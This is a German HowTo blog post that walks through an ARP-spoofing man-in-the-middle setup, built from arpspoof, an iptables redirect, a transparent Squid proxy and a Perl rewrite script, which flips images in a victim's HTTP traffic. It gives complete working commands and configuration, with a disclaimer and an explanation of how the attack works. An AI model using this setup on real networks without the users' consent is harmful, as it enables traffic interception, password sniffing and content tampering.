Netzwerkspielereien mit Sniffing

Vorwort

In letzter Zeit habe ich mich intensiv mit dem Thema Sicherheit in Netzwerken auseinandergesetzt und möchte mit diesem HowTo zeigen, wie man mit harmlosen Man-in-the-Middle Attacken seine Mitnetzwerker in Staunen versetzen kann :-) Dazu werde ich in einer VM einen transparenten Proxy einrichten, der alle Bilder des HTTP-Verkehrs auf den Kopf stellt. Doch wer gedenkt, dieses HowTo zu bösartigen Zwecken zu missbrauchen, der sei gewarnt:

Ich übernehme keinerlei Haftung für etwaige Schäden oder wütende Netzwerkadministratoren. Die Durchführung der hier beschriebenen Prozedur erfolgt auf eigene Gefahr und sollte einzig und allein zu Testzwecken und mit der Erlaubnis aller Benutzer und Administratoren des Netzwerks stattfinden. Verursache kein Chaos in fremden Netzwerken, was du nicht willst das man dir tut, das füg auch keinem andern zu.

Auch beschränke ich mich hier - was die Technik des Sniffings, etc. angeht - nur auf das absolut nötigste, wer mehr darüber in Erfahrung bringen will (was sehr zu empfehlen ist) scrollt bitte zu Weblinks.

Software

Zum Einsatz kommt als Betriebssystem Ubuntu Server 9.04 amd64, die Anleitung ist jedoch nicht auf dieses System beschränkt. Schließlich werden noch folgende Dienste benötigt (die Versionsnummern dienen nur als Auskunft, nicht als Richtlinie):

  • Squid 2.7 STABLE3
  • Apache 2.2
  • Perl v5.10.0
  • dsniff 2.4
  • tcpdump 3.9.8
  • ImageMagick 7

Es sollte mit so gut wie allen Client-Systemen funktionieren, die TCP/IP verwenden (also alle gängigen Formen von Windows und Linux, habe leider kein Mac OS :-P).

Testnetzwerk

Mein Testnetzwerk sieht so aus:

  • „richtiges“ Gateway (Router): 192.168.1.1
  • „angreifender“ Server (ARP-Spoofer): 192.168.1.108
  • „reingelegter“ Client (Victim): 192.168.1.104

Installation

Die notwendigen Softwarepakete können in einem Rutsch installiert werden (natürlich als root ;-)):

aptitude install apache2-mpm-worker squid dsniff tcpdump imagemagick

Konfiguration

Squid

Zuerst passt man den Proxy-Server squid dem gewünschten Szenario an. Da die Konfiguration von Squid etwas kompliziert für Anfänger ist, habe ich hier eine komplette funktionierende Konfigurationsdatei /etc/squid/squid.conf reingestellt, mit Kommentaren zu den essentiellen Änderungen:

squid.conf
acl all src all
acl manager proto cache_object
acl localhost src 127.0.0.1/32
acl to_localhost dst 127.0.0.0/8
acl localnet src 10.0.0.0/8     # RFC1918 possible internal network
acl localnet src 172.16.0.0/12  # RFC1918 possible internal network
acl localnet src 192.168.0.0/16 # RFC1918 possible internal network
acl SSL_ports port 443          # https
acl SSL_ports port 563          # snews
acl SSL_ports port 873          # rsync
acl Safe_ports port 80          # http
acl Safe_ports port 21          # ftp
acl Safe_ports port 443         # https
acl Safe_ports port 70          # gopher
acl Safe_ports port 210         # wais
acl Safe_ports port 1025-65535  # unregistered ports
acl Safe_ports port 280         # http-mgmt
acl Safe_ports port 488         # gss-http
acl Safe_ports port 591         # filemaker
acl Safe_ports port 777         # multiling http
acl Safe_ports port 631         # cups
acl Safe_ports port 873         # rsync
acl Safe_ports port 901         # SWAT
acl purge method PURGE
acl CONNECT method CONNECT
http_access allow manager localhost
http_access deny manager
http_access allow purge localhost
http_access deny purge
http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports
http_access allow localhost
 
# Damit Squid Anfragen aus den bestehenden privaten Netzen erlaubt
# muss diese Zeile vor der abschließenden deny all Anweisung stehen.
http_access allow localnet
 
http_access deny all
icp_access allow localnet
icp_access deny all
 
# Diese Direktive startet Squid als transparenten Proxy
# D.h. dass die Clients den Proxy nicht eintragen müssen.
# Damit das funktioniert wird noch die unten stehende iptables-Regel benötigt.
http_port 3128 transparent
 
hierarchy_stoplist cgi-bin ?
access_log /var/log/squid/access.log squid
 
# Dieses Script dreht alle angeforderten Bilder um, die
# Erstellung des Scripts folgt weiter unten.
url_rewrite_program /etc/squid/redir.pl
# Je nach Performance des Rechners oder der VM kann dieser Wert
# höher, bzw. bei schwächeren Geräten niedriger gestellt werden.
url_rewrite_children 20
 
refresh_pattern ^ftp:           1440    20%     10080
refresh_pattern ^gopher:        1440    0%      1440
refresh_pattern -i (/cgi-bin/|\?) 0     0%      0
refresh_pattern (Release|Package(.gz)*)$        0       20%     2880
refresh_pattern .               0       20%     4320
acl shoutcast rep_header X-HTTP09-First-Line ^ICY\s[0-9]
upgrade_http0.9 deny shoutcast
acl apache rep_header Server ^Apache
broken_vary_encoding allow apache
extension_methods REPORT MERGE MKACTIVITY CHECKOUT
hosts_file /etc/hosts
coredump_dir /var/spool/squid

Bevor man Squid mit dieser Konfiguration starten kann, muss noch das url_rewrite_program erstellt werden.

Auch wenn es nur als Test gedacht ist, sollte das access-Log von Squid abgeschaltet werden, außer die Nutzer sind damit einverstanden!

redir.pl

Das Script, welches die Bilder (.jpg, .png, .gif) in den HTTP-Anfragen umdreht, speichert man am besten als /etc/squid/redir.pl ab. Das Script ist in Perl geschrieben mit folgendem Inhalt:

redir.pl
#!/usr/bin/perl
$|=1;
$count = 0;
$pid = $$;
$subdir = "images";
$docroot = "/var/www/$subdir";
$server = "http://127.0.0.1/$subdir";
$wget = "/usr/bin/wget";
$mogrify = "/usr/bin/mogrify";
 
while (<>) {
  chomp $_;
  if ($_ =~ /(.*\.jpg)/i) {
    $url = $1;
    system("$wget", "-q", "-O", "$docroot/$pid-$count.jpg", "$url");
    system("$mogrify", "-flip", "$docroot/$pid-$count.jpg");
    print "$server/$pid-$count.jpg\n";
  }
  elsif ($_ =~ /(.*\.png)/i) {
    $url = $1;
    system("$wget", "-q", "-O", "$docroot/$pid-$count.png", "$url");
    system("$mogrify", "-flip", "$docroot/$pid-$count.png");
    print "$server/$pid-$count.png\n";
  }
  elsif ($_ =~ /(.*\.gif)/i) {
    $url = $1;
    system("$wget", "-q", "-O", "$docroot/$pid-$count.gif", "$url");
    system("$mogrify", "-flip", "$docroot/$pid-$count.gif");
    print "$server/$pid-$count.gif\n";
  }
  else {
    print "$_\n";;
  }
  $count++;
}

Wichtig sind vor allem die korrekten Rechte, da Squid sonnst den Start verweigert:

chown proxy:proxy /etc/squid/redir.pl
chmod 750 /etc/squid/redir.pl

Wichtig: noch ist Squid nicht bereit, gestartet zu werden. Weiter geht es mit der Einrichtung vom Apache Webserver.

Apache2

Direkt an der Server-Konfiguration muss nur eine Kleinigkeit geändert werden. Je weniger Ports nach außen hin offen sind, desto besser. Deshalb bindet man den Webserver am besten auf das Loopback (127.0.0.1):

/etc/apache2/ports.conf

NameVirtualHost *:80
Listen 127.0.0.1:80

Nun gehören die Zugriffsrechte so geändert, dass das Script mit den Rechten von Squid (Benutzer und Gruppe proxy) schreiben und Apache (Benutzer und Gruppe www-data) im gemeinsamen Verzeichnis lesen kann. Dies erledigt man mit wenigen Befehlen:

# Erstelle Speicherort für Bilder vor Rotation
mkdir /var/www/images
# Als Besitzer proxy ermöglicht problemlosen Schreibzugriff des Scripts
# Die Gruppe www-data ermöglicht dem Webserver Leserechte
chown proxy:www-data /var/www/images/
chmod 755 /var/www/images/
# Damit die Bilder ausgeliefert werden können, fügt man den www-data Benutzer
# in die Gruppe proxy ein
usermod -aG proxy www-data

Allerdings fehlt noch das (zweit)wichtigste: Die iptables-Regel.

iptables-Regel

Folgende Regel integriert man in das bestehende Firewall-Script oder falls nicht vorhanden in die /etc/rc.local damit die Regel(n) nach dem Neustart wieder aktiv werden:

# Aktiviere das IP-Forwarding
sysctl -w net.ipv4.ip_forward=1
# Leite alle eingehenden Anfragen auf Port 80 zum Proxy um
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 3128

Neustart der Dienste

Nun sollte alles problemlos funktionieren, man kann alle Dienste (neu)starten:

/etc/init.d/squid restart
/etc/init.d/apache2 restart

Bevor wir nun zum interessanten Teil kommen, kann man bei einem beliebigen Client die IP des Servers als Default-Gateway eingetragen werden, es sollten jetzt alle Bilder verkehrt herum dargestellt werden.

Test #1

Auf dem vorläufigen Opfer-Rechner (in diesem Fall Windows 7 x64 RC1) öffnet man eine CMD mit Administrator-Rechten und ändert das Default-Gateway um (siehe Testnetzwerk):

route CHANGE 0.0.0.0 MASK 0.0.0.0 192.168.1.108 METRIC 1

Nun navigiert man im Browser auf eine beliebige mit Bildern bestückte Seite (sollten diese angezeigt, jedoch korrekt dargestellt werden, hilft es den Cache des Browsers zu leeren bzw. einen Force-Reload durchzuführen → meist [Strg] + [Shfit] + [Reload]).

Angriff!

Klar machen zum Entern! Nun wird es Zeit, den ARP-Spoofer aus dem Paket dsniff anzuschmeißen. Dazu ist dieser simple Befehl nötig:

# arpspoof -i <interface> -t <client ip> <gateway ip>
arpspoof -i eth0 -t 192.168.1.104 192.168.1.1

Test #2

Falls man nun mit dem selben Client das ARP-Spoofing testen möchte, muss man vor Aktivierung des Spoofers noch das Default-Gateway noch auf das Original zurückstellen, damit man den Unterschied auch merkt.

Ob die Attacke erfolgreich war, kann man auf dem Client (Victim) mit dem Programm traceroute (unter Windows tracert) nachweisen:

ohne ARP-Spoofer

C:\Documents and Settings\nefarius>tracert darkhosters.net

Tracing route to darkhosters.net [84.19.167.141]
over a maximum of 30 hops:

  1     9 ms     7 ms     7 ms  10.191.32.1
  2     7 ms     7 ms     7 ms  10.191.32.1
  3    14 ms    11 ms    12 ms  ser5-0.stprou01.kabsi.at [195.202.156.97]
  4     *       13 ms    13 ms  v200.stpcsw02.kabsi.at [195.202.135.17]
  5    13 ms    14 ms    16 ms  v134.core03.kabsi.at [195.202.135.145]
  6    13 ms    14 ms    14 ms  v143.vixrou01.kabsi.at [195.202.135.254]
  7    14 ms    15 ms    16 ms  VIX-1-eth010.at.lambdanet.net [193.203.0.91]
  8    31 ms    25 ms    26 ms  NUE-2-pos730-0.de.lambdanet.net [217.71.105.81]
  9     *        *        *     Request timed out.
 10    32 ms    31 ms    37 ms  95.169.160.38
 11    34 ms    34 ms    32 ms  84.19.167.141.nbiserv.com [84.19.167.141]

Trace complete.

C:\Documents and Settings\nefarius>

mit ARP-Spoofer

C:\Documents and Settings\nefarius>tracert darkhosters.net

Tracing route to darkhosters.net [84.19.167.141]
over a maximum of 30 hops:

  1     1 ms    <1 ms    <1 ms  192.168.1.108
  2     9 ms     9 ms     8 ms  10.191.32.1
  3     9 ms     9 ms     8 ms  10.191.32.1
  4    12 ms    11 ms    12 ms  v200.stpcsw02.kabsi.at [195.202.135.17]
  5    13 ms    16 ms    15 ms  v134.core03.kabsi.at [195.202.135.145]
  6    15 ms    18 ms    13 ms  v134.core03.kabsi.at [195.202.135.145]
  7   195 ms    42 ms    25 ms  v143.vixrou01.kabsi.at [195.202.135.254]
  8    15 ms    17 ms    16 ms  VIX-1-eth010.at.lambdanet.net [193.203.0.91]
  9    29 ms    27 ms    32 ms  NUE-2-pos730-0.de.lambdanet.net [217.71.105.81]

 10     *        *       33 ms  95.169.160.38
 11    33 ms    32 ms    44 ms  95.169.160.38
 12    33 ms    32 ms    33 ms  84.19.167.141.nbiserv.com [84.19.167.141]

Trace complete.

C:\Documents and Settings\nefarius>

Funktionsweise

Die zweite Ansicht zeigt eindeutig, dass die Pakete jetzt einen „Umweg“ über den Server mit dem ARP-Spoofer machen. Was ist da eigentlich genau passiert?

Typischerweise bekommt der Client seine IP-Adresse und andere Informationen wie DNS-Server und Default-Gateway vom DHCP-Server des Subnets. Wenn der Nutzer nun im Internet surft, wandern die Pakete vom Client zum Default-Gateway (üblicherweise Router zwischen LAN und WAN) und von dort weg ins Internet zum Ziel-Webserver. Somit scheint ein Ausspionieren der Verbindungen unmöglich, da man sich physisch zwischen den Client und das Standardgateway platzieren müsste. Sitzt der Angreifer jedoch im selben Subnetz (in diesem Fall 192.168.1.x) am selben Switch (bzw. beliebiger Switch im selben Netz) kann er mithilfe eines ARP-Spoofers das Address Resolution Protokoll ausnutzen, um dem Client glaubhaft zu machen, er (der Angreifer; Server) sei das Standardgateway. Sobald der Client seine Default-Route auf den Angreifer umgebogen hat, wird dies auch in der traceroute-Ausgabe sichtbar. Nur wer lässt neben seiner Wanderung durchs Web ständig eine Konsole mit diesem Kommando mitlaufen ;-) Das ganze passiert so schnell, dass der Benutzer des Victim-Rechners dies nicht mitbekommt. Nun wird es interessant: die Pakete des Clients (für unsere Aktion sind die HTTP-Pakete interessant, also Port 80) werden zum Angreifer umgeleitet, dort durch den transparenten Squid-Proxy geschickt, welcher mit dem redir-Script prüft, ob ein Bild angefordert wurde. Wenn ja, wird das Bild auf dem Server zwischengespeichert (wget), umgedreht (mogrify) und der Server-Webserver (apache2) liefert das manipulierte Bild an den Client aus. Der restliche Verkehr wird ganz normal an das Original-Standardgateway weitergeleitet.

Was in diesem HowTo als Spaß gedacht war, wird in der Praxis üblicherweise dazu missbraucht, Mail-Inhalte mitzulesen, Passwörter zu erschnüffeln oder Inhalte zu fälschen.

Quellen

Kommentare